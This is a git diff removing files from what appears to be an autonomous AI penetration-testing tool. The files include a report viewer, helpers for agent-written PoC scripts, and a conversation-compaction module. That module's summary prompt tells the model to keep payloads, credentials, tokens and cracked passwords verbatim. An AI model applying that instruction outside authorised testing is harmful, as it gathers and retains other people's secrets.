{ icon: Plug, label: "Jira, Linear & Slack integrations" },
|
||||
];
|
||||
|
||||
export function UpgradeModal({
|
||||
open,
|
||||
onClose,
|
||||
description,
|
||||
source = "sidebar",
|
||||
}: {
|
||||
open: boolean;
|
||||
onClose: () => void;
|
||||
/** A short sentence describing what the clicked feature does. */
|
||||
description: string;
|
||||
source?: string;
|
||||
}) {
|
||||
// Keep the dialog mounted through its exit animation: `render` controls
|
||||
// presence in the DOM and `state` ("open"/"closed") drives the keyframe. On
|
||||
// close we flip to "closed", let the 200ms animation play, then unmount --
|
||||
// the same lifecycle Radix gives shadcn's Dialog.
|
||||
const [render, setRender] = useState(open);
|
||||
const [state, setState] = useState<"open" | "closed">(open ? "open" : "closed");
|
||||
|
||||
useEffect(() => {
|
||||
if (open) {
|
||||
setRender(true);
|
||||
setState("open");
|
||||
return;
|
||||
}
|
||||
setState("closed");
|
||||
const t = setTimeout(() => setRender(false), 200);
|
||||
return () => clearTimeout(t);
|
||||
}, [open]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!render) return;
|
||||
const onKey = (e: KeyboardEvent) => {
|
||||
if (e.key === "Escape") onClose();
|
||||
};
|
||||
document.addEventListener("keydown", onKey);
|
||||
const prevOverflow = document.body.style.overflow;
|
||||
document.body.style.overflow = "hidden";
|
||||
return () => {
|
||||
document.removeEventListener("keydown", onKey);
|
||||
document.body.style.overflow = prevOverflow;
|
||||
};
|
||||
}, [render, onClose]);
|
||||
|
||||
if (!render) return null;
|
||||
|
||||
return (
|
||||
<div
|
||||
data-state={state}
|
||||
className="dialog-overlay fixed inset-0 z-50 flex items-center justify-center bg-black/80 p-4"
|
||||
onClick={onClose}
|
||||
role="dialog"
|
||||
aria-modal="true"
|
||||
aria-label="Upgrade your plan"
|
||||
>
|
||||
<div
|
||||
data-state={state}
|
||||
className="dialog-panel relative w-full max-w-md rounded-2xl border border-[#222] bg-black p-6 shadow-lg sm:rounded-lg"
|
||||
onClick={(e) => e.stopPropagation()}
|
||||
>
|
||||
<button
|
||||
type="button"
|
||||
onClick={onClose}
|
||||
aria-label="Close"
|
||||
className="absolute right-4 top-4 rounded-md p-1 text-[#888] transition-colors hover:bg-[#1a1a1a] hover:text-white"
|
||||
>
|
||||
<X className="h-4 w-4" />
|
||||
</button>
|
||||
|
||||
<div>
|
||||
<h2 className="text-lg text-white">Available in Strix Cloud</h2>
|
||||
{description && (
|
||||
<p className="mt-2 text-base leading-relaxed text-[#e5e5e5]">{description}</p>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="space-y-4 pt-4">
|
||||
<div className="rounded-xl border border-[#333] bg-[#0a0a0a] p-4 sm:rounded-lg">
|
||||
<div className="mb-3 flex items-center gap-2">
|
||||
<Sparkles className="h-4 w-4 text-blue-400" />
|
||||
<span className="text-sm font-medium text-white">Strix Cloud also includes</span>
|
||||
</div>
|
||||
<ul className="space-y-2 text-sm text-[#888]">
|
||||
{CLOUD_HIGHLIGHTS.map((f) => (
|
||||
<li key={f.label} className="flex items-center gap-2">
|
||||
<f.icon className="h-3.5 w-3.5 text-[#555]" />
|
||||
{f.label}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div className="flex flex-col gap-2">
|
||||
<a
|
||||
href={ctaUrl(SIGNUP_URL, "upgrade_try_free")}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
onClick={() => trackCta("upgrade_try_free", source)}
|
||||
className="flex h-10 w-full items-center justify-center gap-2 rounded-lg bg-white px-4 text-sm font-semibold text-black transition-colors hover:bg-neutral-200"
|
||||
>
|
||||
Open Strix Cloud
|
||||
<ExternalLink className="h-3.5 w-3.5" />
|
||||
</a>
|
||||
<a
|
||||
href={ctaUrl(PRICING_URL, "upgrade_view_plans")}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
onClick={() => trackCta("upgrade_view_plans", source)}
|
||||
className="flex h-9 w-full items-center justify-center gap-1.5 rounded-lg border border-[#333] px-4 text-sm font-medium text-[#888] transition-colors hover:border-[#555] hover:text-white"
|
||||
>
|
||||
Learn more
|
||||
<ExternalLink className="h-3 w-3" />
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default UpgradeModal;
|
||||
-121
@@ -1,121 +0,0 @@
|
||||
"use client";
|
||||
|
||||
import type { ToolRendererProps } from "@/types/events";
|
||||
import { TruncatedText } from "./ToolCard";
|
||||
import Markdown from "./Markdown";
|
||||
|
||||
const SEVERITY_COLORS: Record<string, string> = {
|
||||
critical: "text-red-400", high: "text-orange-400", medium: "text-yellow-400",
|
||||
low: "text-blue-400", info: "text-cyan-400", none: "text-[#888]",
|
||||
};
|
||||
|
||||
interface ReportEntry {
|
||||
id?: string;
|
||||
title?: string;
|
||||
severity?: string;
|
||||
cvss?: number;
|
||||
cve?: string;
|
||||
cwe?: string;
|
||||
target?: string;
|
||||
endpoint?: string;
|
||||
method?: string;
|
||||
description_preview?: string;
|
||||
description?: string;
|
||||
agent_name?: string;
|
||||
by_you?: boolean;
|
||||
}
|
||||
|
||||
function authorTag(r: ReportEntry) {
|
||||
if (!r.agent_name && !r.by_you) return null;
|
||||
const label = r.by_you ? "you" : r.agent_name;
|
||||
return <span className="text-[#666] text-xs ml-1.5">({label})</span>;
|
||||
}
|
||||
|
||||
function sevBadge(severity: string | undefined) {
|
||||
const sev = String(severity ?? "").toLowerCase();
|
||||
const color = SEVERITY_COLORS[sev] ?? "text-yellow-400";
|
||||
return <span className={`font-semibold text-[13px] ${color}`}>{sev.toUpperCase() || "—"}</span>;
|
||||
}
|
||||
|
||||
export default function ReportListRenderer({ toolName, result }: ToolRendererProps) {
|
||||
const res = result as Record<string, unknown> | null;
|
||||
const ok = res != null && typeof res === "object" && res.success === true;
|
||||
|
||||
if (toolName === "get_report") {
|
||||
const report = ok ? (res.report as ReportEntry | undefined) : undefined;
|
||||
return (
|
||||
<div>
|
||||
<span className="text-red-400/80 font-semibold text-sm">report</span>
|
||||
{report ? (
|
||||
<div className="mt-1.5 space-y-2">
|
||||
<div className="flex items-center gap-2 flex-wrap">
|
||||
{sevBadge(report.severity)}
|
||||
{report.cvss != null && <span className="text-[#888] text-[13px]">CVSS {report.cvss}</span>}
|
||||
{report.id && <span className="text-[#555] font-mono text-[13px]">{report.id}</span>}
|
||||
{report.cve && <span className="text-[#888] font-mono text-[13px]">{report.cve}</span>}
|
||||
{report.cwe && <span className="text-[#888] font-mono text-[13px]">{report.cwe}</span>}
|
||||
{(report.agent_name || report.by_you) && (
|
||||
<span className="text-[#666] text-[13px]">{report.by_you ? "you" : report.agent_name}</span>
|
||||
)}
|
||||
</div>
|
||||
{report.title && <div className="text-[15px] text-white/80 font-semibold">{report.title}</div>}
|
||||
{(report.target || report.endpoint) && (
|
||||
<div className="text-[13px] text-[#888] font-mono">
|
||||
{report.target}{report.endpoint ? ` ${report.method ?? ""} ${report.endpoint}` : ""}
|
||||
</div>
|
||||
)}
|
||||
{report.description && <TruncatedText text={report.description} maxLines={20} />}
|
||||
</div>
|
||||
) : (
|
||||
<div className="mt-1 text-[#555] text-xs">
|
||||
{(res && typeof res === "object" && (res.error as string)) || "Report not found"}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
// list_reports
|
||||
const rawReports = ok ? res.reports : null;
|
||||
const reports: ReportEntry[] = Array.isArray(rawReports) ? (rawReports as ReportEntry[]) : [];
|
||||
const total = ok && typeof res.total_count === "number" ? (res.total_count as number) : reports.length;
|
||||
const counts = ok && res.severity_counts && typeof res.severity_counts === "object"
|
||||
? (res.severity_counts as Record<string, number>)
|
||||
: {};
|
||||
const countEntries = Object.entries(counts);
|
||||
|
||||
return (
|
||||
<div>
|
||||
<div className="flex items-center gap-2 flex-wrap">
|
||||
<span className="text-red-400/80 font-semibold text-sm">reports</span>
|
||||
<span className="text-[#555] text-[13px]">({total})</span>
|
||||
{countEntries.map(([sev, n]) => (
|
||||
<span key={sev} className="text-[13px]">
|
||||
{sevBadge(sev)}<span className="text-[#888] ml-0.5">{n}</span>
|
||||
</span>
|
||||
))}
|
||||
</div>
|
||||
{reports.length > 0 ? (
|
||||
<div className="mt-1.5 space-y-1">
|
||||
{reports.map((r, i) => (
|
||||
<div key={r.id ?? i} className="text-[13px]">
|
||||
<span className="text-[#555] mr-1">-</span>
|
||||
{sevBadge(r.severity)}
|
||||
{r.id && <span className="text-[#555] font-mono ml-1.5">{r.id}</span>}
|
||||
<span className="text-[#999] ml-1.5">{r.title ?? "(untitled)"}</span>
|
||||
{authorTag(r)}
|
||||
{(r.target || r.endpoint) && (
|
||||
<div className="ml-3 text-[#666] font-mono text-xs">
|
||||
{r.target}{r.endpoint ? ` ${r.method ?? ""} ${r.endpoint}` : ""}
|
||||
</div>
|
||||
)}
|
||||
{r.description_preview && (
|
||||
<div className="ml-3"><Markdown text={r.description_preview} /></div>
|
||||
)}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
) : <div className="mt-1 text-[#555] text-xs">No reports filed yet</div>}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,326 +0,0 @@
|
||||
@import "tailwindcss";
|
||||
|
||||
:root {
|
||||
--font-geist-sans: ui-sans-serif, system-ui, -apple-system, "Segoe UI", Roboto,
|
||||
Helvetica, Arial, sans-serif;
|
||||
--font-geist-mono: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas,
|
||||
"Liberation Mono", "Courier New", monospace;
|
||||
}
|
||||
|
||||
@theme inline {
|
||||
--font-sans: var(--font-geist-sans);
|
||||
--font-mono: var(--font-geist-mono);
|
||||
}
|
||||
|
||||
html,
|
||||
body {
|
||||
background: #000000;
|
||||
color: #ffffff;
|
||||
font-family: var(--font-geist-sans);
|
||||
}
|
||||
|
||||
/* Thin sidebar scrollbar */
|
||||
.scrollbar-thin {
|
||||
scrollbar-width: thin;
|
||||
scrollbar-color: rgba(255, 255, 255, 0.15) transparent;
|
||||
}
|
||||
.scrollbar-thin::-webkit-scrollbar {
|
||||
width: 6px;
|
||||
height: 6px;
|
||||
}
|
||||
.scrollbar-thin::-webkit-scrollbar-thumb {
|
||||
background: rgba(255, 255, 255, 0.15);
|
||||
border-radius: 3px;
|
||||
}
|
||||
.scrollbar-thin::-webkit-scrollbar-track {
|
||||
background: transparent;
|
||||
}
|
||||
|
||||
/* Motion vocabulary --------------------- */
|
||||
|
||||
/* Page transition: replayed on every view change via a keyed wrapper. */
|
||||
@keyframes page-in {
|
||||
from {
|
||||
opacity: 0;
|
||||
filter: blur(8px);
|
||||
transform: translateY(8px);
|
||||
}
|
||||
to {
|
||||
opacity: 1;
|
||||
filter: blur(0px);
|
||||
transform: translateY(0px);
|
||||
}
|
||||
}
|
||||
.animate-page-in {
|
||||
animation: page-in 150ms ease-out;
|
||||
}
|
||||
|
||||
/* Plain fade. */
|
||||
@keyframes fade-in {
|
||||
from {
|
||||
opacity: 0;
|
||||
}
|
||||
to {
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
.animate-fade-in {
|
||||
animation: fade-in 350ms ease-out;
|
||||
}
|
||||
|
||||
/* Staggered card entrance for lists/grids (first four cascade). */
|
||||
@keyframes cardIn {
|
||||
from {
|
||||
opacity: 0;
|
||||
filter: blur(4px);
|
||||
transform: translateY(8px) scale(0.97);
|
||||
}
|
||||
to {
|
||||
opacity: 1;
|
||||
filter: blur(0px);
|
||||
transform: translateY(0) scale(1);
|
||||
}
|
||||
}
|
||||
.animate-card-in {
|
||||
opacity: 0;
|
||||
animation: cardIn 300ms cubic-bezier(0.16, 1, 0.3, 1) forwards;
|
||||
}
|
||||
.animate-card-in:nth-child(1) {
|
||||
animation-delay: 0ms;
|
||||
}
|
||||
.animate-card-in:nth-child(2) {
|
||||
animation-delay: 50ms;
|
||||
}
|
||||
.animate-card-in:nth-child(3) {
|
||||
animation-delay: 100ms;
|
||||
}
|
||||
.animate-card-in:nth-child(4) {
|
||||
animation-delay: 150ms;
|
||||
}
|
||||
|
||||
/* Shimmer sweep for progress indicators. */
|
||||
@keyframes shimmer {
|
||||
0% {
|
||||
transform: translateX(-100%);
|
||||
}
|
||||
100% {
|
||||
transform: translateX(400%);
|
||||
}
|
||||
}
|
||||
.animate-shimmer {
|
||||
animation: shimmer 2s infinite;
|
||||
}
|
||||
|
||||
/* Dialog enter/exit — mirrors shadcn's data-[state]:animate-in/animate-out
|
||||
(fade-in-0/zoom-in-95 in, fade-out-0/zoom-out-95 out) driven off a
|
||||
data-state attribute rather than a transition, so the enter always plays. */
|
||||
@keyframes dialog-overlay-in {
|
||||
from {
|
||||
opacity: 0;
|
||||
}
|
||||
to {
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
@keyframes dialog-overlay-out {
|
||||
from {
|
||||
opacity: 1;
|
||||
}
|
||||
to {
|
||||
opacity: 0;
|
||||
}
|
||||
}
|
||||
@keyframes dialog-panel-in {
|
||||
from {
|
||||
opacity: 0;
|
||||
transform: scale(0.95);
|
||||
}
|
||||
to {
|
||||
opacity: 1;
|
||||
transform: scale(1);
|
||||
}
|
||||
}
|
||||
@keyframes dialog-panel-out {
|
||||
from {
|
||||
opacity: 1;
|
||||
transform: scale(1);
|
||||
}
|
||||
to {
|
||||
opacity: 0;
|
||||
transform: scale(0.95);
|
||||
}
|
||||
}
|
||||
.dialog-overlay[data-state="open"] {
|
||||
animation: dialog-overlay-in 200ms ease;
|
||||
}
|
||||
.dialog-overlay[data-state="closed"] {
|
||||
animation: dialog-overlay-out 200ms ease forwards;
|
||||
}
|
||||
.dialog-panel[data-state="open"] {
|
||||
animation: dialog-panel-in 200ms ease;
|
||||
}
|
||||
.dialog-panel[data-state="closed"] {
|
||||
animation: dialog-panel-out 200ms ease forwards;
|
||||
}
|
||||
|
||||
/* Agent detail modal: fade only (no scale) and faster. Its panel holds the full
|
||||
transcript, and animating a transform on that much DOM janks; fading the
|
||||
overlay (the panel inherits its opacity) stays cheap and snappy. */
|
||||
.agent-modal[data-state="open"] {
|
||||
animation: dialog-overlay-in 140ms ease;
|
||||
}
|
||||
.agent-modal[data-state="closed"] {
|
||||
animation: dialog-overlay-out 140ms ease forwards;
|
||||
}
|
||||
|
||||
/* Tab content transition. */
|
||||
@keyframes tab-in {
|
||||
from {
|
||||
opacity: 0;
|
||||
filter: blur(4px);
|
||||
transform: translateY(6px);
|
||||
}
|
||||
to {
|
||||
opacity: 1;
|
||||
filter: blur(0px);
|
||||
transform: translateY(0px);
|
||||
}
|
||||
}
|
||||
.animate-tab-in {
|
||||
animation: tab-in 200ms ease-out;
|
||||
}
|
||||
|
||||
/* Markdown prose styling */
|
||||
.prose-markdown {
|
||||
font-size: 14px;
|
||||
line-height: 1.7;
|
||||
color: #999;
|
||||
word-wrap: break-word;
|
||||
overflow-wrap: break-word;
|
||||
}
|
||||
|
||||
.prose-markdown p {
|
||||
margin-bottom: 0.75em;
|
||||
}
|
||||
|
||||
.prose-markdown p:last-child {
|
||||
margin-bottom: 0;
|
||||
}
|
||||
|
||||
.prose-markdown strong {
|
||||
color: #ccc;
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
.prose-markdown em {
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
.prose-markdown code {
|
||||
background: #0a0a0a;
|
||||
border: 1px solid #111;
|
||||
border-radius: 4px;
|
||||
padding: 0.15em 0.4em;
|
||||
font-size: 0.9em;
|
||||
font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace;
|
||||
color: #ccc;
|
||||
font-variant-ligatures: none;
|
||||
}
|
||||
|
||||
.prose-markdown pre {
|
||||
background: transparent;
|
||||
border: none;
|
||||
border-radius: 0;
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
font-variant-ligatures: none;
|
||||
}
|
||||
|
||||
.prose-markdown pre code {
|
||||
background: none;
|
||||
border: none;
|
||||
padding: 0;
|
||||
font-size: 13px;
|
||||
color: inherit;
|
||||
}
|
||||
|
||||
.prose-markdown ul,
|
||||
.prose-markdown ol {
|
||||
padding-left: 1.5em;
|
||||
margin-bottom: 0.75em;
|
||||
}
|
||||
|
||||
.prose-markdown ul {
|
||||
list-style-type: disc;
|
||||
}
|
||||
|
||||
.prose-markdown ol {
|
||||
list-style-type: decimal;
|
||||
}
|
||||
|
||||
.prose-markdown li {
|
||||
margin-bottom: 0.25em;
|
||||
}
|
||||
|
||||
.prose-markdown li > ul,
|
||||
.prose-markdown li > ol {
|
||||
padding-left: 1.5em;
|
||||
margin-top: 0.25em;
|
||||
margin-bottom: 0.25em;
|
||||
}
|
||||
|
||||
.prose-markdown ol + ul {
|
||||
padding-left: 3em;
|
||||
margin-top: -0.5em;
|
||||
}
|
||||
|
||||
.prose-markdown h1,
|
||||
.prose-markdown h2,
|
||||
.prose-markdown h3,
|
||||
.prose-markdown h4,
|
||||
.prose-markdown h5,
|
||||
.prose-markdown h6 {
|
||||
color: #ddd;
|
||||
font-weight: 600;
|
||||
margin-top: 1em;
|
||||
margin-bottom: 0.5em;
|
||||
}
|
||||
|
||||
.prose-markdown a {
|
||||
color: inherit;
|
||||
text-decoration: none;
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
.prose-markdown blockquote {
|
||||
border-left: 3px solid #333;
|
||||
padding-left: 1em;
|
||||
color: #777;
|
||||
margin: 0.75em 0;
|
||||
}
|
||||
|
||||
.prose-markdown hr {
|
||||
border: none;
|
||||
border-top: 1px solid #222;
|
||||
margin: 1em 0;
|
||||
}
|
||||
|
||||
.prose-markdown > table {
|
||||
width: 100%;
|
||||
border-collapse: collapse;
|
||||
margin: 0.75em 0;
|
||||
}
|
||||
|
||||
.prose-markdown > table th,
|
||||
.prose-markdown > table td {
|
||||
border: 1px solid #333;
|
||||
padding: 0.4em 0.75em;
|
||||
text-align: left;
|
||||
font-size: 13px;
|
||||
}
|
||||
|
||||
.prose-markdown > table th {
|
||||
background: #1a1a1a;
|
||||
color: #ccc;
|
||||
font-weight: 600;
|
||||
}
|
||||
@@ -1,27 +0,0 @@
|
||||
export interface ParsedFencedCode {
|
||||
language?: string;
|
||||
code: string;
|
||||
}
|
||||
|
||||
const FENCE_RE = /^```([^\n`]*)\r?\n([\s\S]*?)\r?\n?```$/;
|
||||
|
||||
/**
|
||||
* Agent-generated `poc_script_code` is stored wrapped in a markdown code fence
|
||||
* that carries the language, e.g.
|
||||
*
|
||||
* ```python
|
||||
* import requests
|
||||
* ```
|
||||
*
|
||||
* Renderers that show the value as bare code must not display the fence lines
|
||||
* literally. This extracts the inner code and the fence's language tag. Returns
|
||||
* the input unchanged (no language) when it isn't fenced.
|
||||
*/
|
||||
export function parseFencedCode(raw: string | null | undefined): ParsedFencedCode {
|
||||
if (!raw) return { code: "" };
|
||||
const match = FENCE_RE.exec(raw.trim());
|
||||
if (!match) return { code: raw };
|
||||
const info = match[1].trim();
|
||||
const language = info ? info.split(/\s+/)[0] : undefined;
|
||||
return { language: language || undefined, code: match[2] };
|
||||
}
|
||||
@@ -1,32 +0,0 @@
|
||||
import hljs from "highlight.js/lib/common";
|
||||
import http from "highlight.js/lib/languages/http";
|
||||
import nginx from "highlight.js/lib/languages/nginx";
|
||||
import apache from "highlight.js/lib/languages/apache";
|
||||
import dockerfile from "highlight.js/lib/languages/dockerfile";
|
||||
import properties from "highlight.js/lib/languages/properties";
|
||||
|
||||
hljs.registerLanguage("http", http);
|
||||
hljs.registerLanguage("nginx", nginx);
|
||||
hljs.registerLanguage("apache", apache);
|
||||
hljs.registerLanguage("dockerfile", dockerfile);
|
||||
hljs.registerLanguage("properties", properties);
|
||||
|
||||
/**
|
||||
* Highlight code, preferring an explicit language when it's recognized,
|
||||
* otherwise auto-detecting. Falls back to Python when auto-detection is
|
||||
* inconclusive, since legacy (unfenced) PoC scripts are Python.
|
||||
*/
|
||||
export function highlightCode(code: string, language?: string | null): string {
|
||||
try {
|
||||
if (language && hljs.getLanguage(language)) {
|
||||
return hljs.highlight(code, { language, ignoreIllegals: true }).value;
|
||||
}
|
||||
const auto = hljs.highlightAuto(code);
|
||||
if (auto.language) return auto.value;
|
||||
return hljs.highlight(code, { language: "python", ignoreIllegals: true }).value;
|
||||
} catch {
|
||||
return hljs.highlight(code, { language: "python", ignoreIllegals: true }).value;
|
||||
}
|
||||
}
|
||||
|
||||
export default hljs;
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -1 +0,0 @@
|
||||
"""LLM-facing context management: model-aware budgets and history compaction."""
|
||||
@@ -1,386 +0,0 @@
|
||||
"""Provider-agnostic conversation compaction.
|
||||
|
||||
When an agent's session grows past the model's usable context window, older
|
||||
turns are summarised into a single checkpoint while the most recent turns are
|
||||
kept verbatim. This runs for every LiteLLM provider (not just OpenAI), keeps a
|
||||
security-focused structured summary, and preserves tool-call/tool-result
|
||||
pairing so the trimmed history is still valid provider input.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
from typing import TYPE_CHECKING, Any
|
||||
|
||||
from agents.model_settings import ModelSettings
|
||||
from agents.models.interface import ModelTracing
|
||||
from litellm.exceptions import BadRequestError, ContextWindowExceededError
|
||||
from openai.types.responses import ResponseOutputMessage, ResponseOutputText
|
||||
|
||||
from strix.config import load_settings
|
||||
from strix.config.models import StrixProvider
|
||||
from strix.core.inputs import make_model_settings
|
||||
from strix.core.sessions import replace_session_items, session_write_lock
|
||||
from strix.llm.context_budget import context_window, count_tokens, output_limit
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from agents.items import ModelResponse
|
||||
from agents.memory import Session
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
_CHECKPOINT_TAG = "<conversation-checkpoint>"
|
||||
_TOOL_OUTPUT_MAX_CHARS = 2_000
|
||||
_MIN_ITEMS_TO_COMPACT = 6
|
||||
_HEAD_TRUNCATED_MARKER = "\n\n[... older conversation omitted to fit the summary request ...]\n\n"
|
||||
|
||||
|
||||
# Providers that don't type overflow errors (OpenRouter maps every 400 to a
|
||||
# plain BadRequestError) leave only the message to go on, so we match it the way
|
||||
# LiteLLM's own checker does — but with rate-limit exclusions first, so a
|
||||
# throttling 429 is never mistaken for an overflow and sent into compaction.
|
||||
_OVERFLOW_EXCLUSIONS = (
|
||||
"rate limit",
|
||||
"too many requests",
|
||||
"throttling",
|
||||
"service unavailable",
|
||||
"quota",
|
||||
)
|
||||
_OVERFLOW_MARKERS = (
|
||||
"context length",
|
||||
"context window",
|
||||
"context_length_exceeded",
|
||||
"prompt is too long",
|
||||
"input is too long",
|
||||
"input length",
|
||||
"maximum prompt length",
|
||||
"reduce the length of the messages",
|
||||
"too many tokens",
|
||||
"token limit exceeded",
|
||||
"request entity too large",
|
||||
)
|
||||
|
||||
|
||||
def is_context_overflow(exc: BaseException) -> bool:
|
||||
"""Whether ``exc`` is a model context-window-overflow error.
|
||||
|
||||
LiteLLM types most providers' overflow as ContextWindowExceededError, but its
|
||||
OpenRouter branch raises a plain BadRequestError, so for that we fall back to
|
||||
matching the provider message.
|
||||
"""
|
||||
if isinstance(exc, ContextWindowExceededError):
|
||||
return True
|
||||
if isinstance(exc, BadRequestError):
|
||||
msg = str(exc).lower()
|
||||
if any(x in msg for x in _OVERFLOW_EXCLUSIONS):
|
||||
return False
|
||||
return any(x in msg for x in _OVERFLOW_MARKERS)
|
||||
return False
|
||||
|
||||
|
||||
_SUMMARY_INSTRUCTIONS = """\
|
||||
You are compacting the earlier part of an autonomous security-testing agent's \
|
||||
conversation so it fits the model context window. Produce a dense, factual \
|
||||
record that lets the agent continue with no loss of important state.
|
||||
|
||||
This is a security engagement: dropped findings mean lost vulnerabilities. Be \
|
||||
EXHAUSTIVE, not concise. Enumerate every distinct item as its own bullet — \
|
||||
never merge, deduplicate, generalise, or omit distinct findings, credentials, \
|
||||
or dead ends, even if they seem minor or repetitive. If the source mentions \
|
||||
five vulnerabilities, list five. Copy exact values verbatim: URLs, endpoints, \
|
||||
file paths, parameters, payloads, credentials, tokens, keys, hashes, cracked \
|
||||
passwords, software versions, and error messages — never paraphrase or \
|
||||
placeholder them. Do not invent anything and do not describe this compaction \
|
||||
process.
|
||||
|
||||
Return Markdown with exactly these sections:
|
||||
|
||||
## Objective
|
||||
The overall goal and target scope.
|
||||
|
||||
## Vulnerabilities & Findings
|
||||
One bullet per DISTINCT vulnerability or finding (SQLi, XSS, SSRF, auth bypass, \
|
||||
misconfig, etc.). For each: type, exact location (URL/endpoint/param/file), the \
|
||||
verbatim payload or proof, confirmation status, and impact. List them all.
|
||||
|
||||
## Credentials & Secrets
|
||||
One bullet per credential, secret, API key, token, hash, or cracked password, \
|
||||
copied verbatim with where it applies. Write "(none)" only if truly none.
|
||||
|
||||
## System & Recon Details
|
||||
Architecture, tech stack, versions, discovered endpoints/paths/params, and \
|
||||
other weak points worth keeping.
|
||||
|
||||
## Work State
|
||||
- Completed: what has been verified or finished.
|
||||
- Active: what is in progress right now.
|
||||
- Blocked: anything stuck and why.
|
||||
|
||||
## Failed Attempts & Dead Ends
|
||||
One bullet per approach already tried that did not work (including WAF blocks, \
|
||||
filtered inputs, non-exploitable leads) so they are not repeated. Write \
|
||||
"(none)" only if truly none.
|
||||
|
||||
## Next Move
|
||||
The concrete next step(s) the agent intended to take.
|
||||
|
||||
## Relevant Files
|
||||
Files/notes/reports created or modified and their purpose."""
|
||||
|
||||
|
||||
def _content_text(content: Any) -> str:
|
||||
if isinstance(content, str):
|
||||
return content
|
||||
if isinstance(content, list):
|
||||
parts: list[str] = []
|
||||
for block in content:
|
||||
if not isinstance(block, dict):
|
||||
continue
|
||||
text = block.get("text")
|
||||
if isinstance(text, str):
|
||||
parts.append(text)
|
||||
elif block.get("type") in {"input_image", "image_url", "output_image"}:
|
||||
parts.append("[image]")
|
||||
return "\n".join(parts)
|
||||
return ""
|
||||
|
||||
|
||||
def _truncate(text: str, limit: int) -> str:
|
||||
return text if len(text) <= limit else f"{text[:limit]}\n[truncated]"
|
||||
|
||||
|
||||
def _serialize_item(item: Any) -> str:
|
||||
if not isinstance(item, dict):
|
||||
return str(item)
|
||||
item_type = item.get("type")
|
||||
role = item.get("role")
|
||||
if item_type == "function_call":
|
||||
args = _truncate(str(item.get("arguments", "")), _TOOL_OUTPUT_MAX_CHARS)
|
||||
return f"[tool_call {item.get('name', '?')}] {args}"
|
||||
if item_type == "function_call_output":
|
||||
output = item.get("output")
|
||||
text = output if isinstance(output, str) else _content_text(output)
|
||||
return f"[tool_result] {_truncate(text, _TOOL_OUTPUT_MAX_CHARS)}"
|
||||
if item_type == "reasoning":
|
||||
return ""
|
||||
if role or item_type == "message":
|
||||
return f"[{role or 'assistant'}] {_content_text(item.get('content'))}".strip()
|
||||
return ""
|
||||
|
||||
|
||||
def _serialize_items(items: list[Any]) -> str:
|
||||
return "\n".join(s for s in (_serialize_item(item) for item in items) if s)
|
||||
|
||||
|
||||
def _is_tool_call(item: Any) -> bool:
|
||||
return isinstance(item, dict) and item.get("type") == "function_call"
|
||||
|
||||
|
||||
def _is_tool_output(item: Any) -> bool:
|
||||
return isinstance(item, dict) and item.get("type") == "function_call_output"
|
||||
|
||||
|
||||
def _open_calls_at(items: list[Any]) -> list[int]:
|
||||
"""Prefix count of tool calls still awaiting their result at each index;
|
||||
a split is only safe where this is zero."""
|
||||
balance = [0] * (len(items) + 1)
|
||||
for i, item in enumerate(items):
|
||||
delta = 1 if _is_tool_call(item) else -1 if _is_tool_output(item) else 0
|
||||
balance[i + 1] = max(0, balance[i] + delta)
|
||||
return balance
|
||||
|
||||
|
||||
def _select_split(model: str, items: list[Any], keep_tokens: int) -> int:
|
||||
"""Index where the kept-verbatim recent tail begins: walk newest→oldest to
|
||||
``keep_tokens``, then snap to a point with no tool call left open."""
|
||||
total = 0
|
||||
split = len(items)
|
||||
for i in range(len(items) - 1, -1, -1):
|
||||
total += count_tokens(model, _serialize_item(items[i]))
|
||||
if total > keep_tokens:
|
||||
break
|
||||
split = i
|
||||
open_calls = _open_calls_at(items)
|
||||
while split > 0 and open_calls[split] != 0:
|
||||
split -= 1
|
||||
return split
|
||||
|
||||
|
||||
def _previous_summary(head: list[Any]) -> str | None:
|
||||
for item in head:
|
||||
if isinstance(item, dict) and item.get("role") == "user":
|
||||
text = _content_text(item.get("content"))
|
||||
if text.startswith(_CHECKPOINT_TAG):
|
||||
return text
|
||||
return None
|
||||
|
||||
|
||||
def _fit_to_tokens(model: str, text: str, max_tokens: int) -> str:
|
||||
"""Head+tail-truncate ``text`` to ``max_tokens``, keeping start and end."""
|
||||
if count_tokens(model, text) <= max_tokens:
|
||||
return text
|
||||
# Rough char budget (~4x tokens), then tighten by real token count.
|
||||
budget_chars = max_tokens * 4
|
||||
head_chars = budget_chars // 2
|
||||
tail_chars = budget_chars - head_chars
|
||||
candidate = text[:head_chars] + _HEAD_TRUNCATED_MARKER + text[len(text) - tail_chars :]
|
||||
while count_tokens(model, candidate) > max_tokens and (head_chars > 0 or tail_chars > 0):
|
||||
head_chars = int(head_chars * 0.8)
|
||||
tail_chars = int(tail_chars * 0.8)
|
||||
candidate = text[:head_chars] + _HEAD_TRUNCATED_MARKER + text[len(text) - tail_chars :]
|
||||
return candidate
|
||||
|
||||
|
||||
def _summary_output_tokens(model: str) -> int:
|
||||
"""Summary output allowance, capped at the model's own output limit."""
|
||||
return min(load_settings().context.summary_max_tokens, output_limit(model))
|
||||
|
||||
|
||||
def _summary_input_budget(model: str, previous: str | None) -> int:
|
||||
"""Token room left for the head after instructions and the summary output."""
|
||||
overhead = count_tokens(model, _SUMMARY_INSTRUCTIONS)
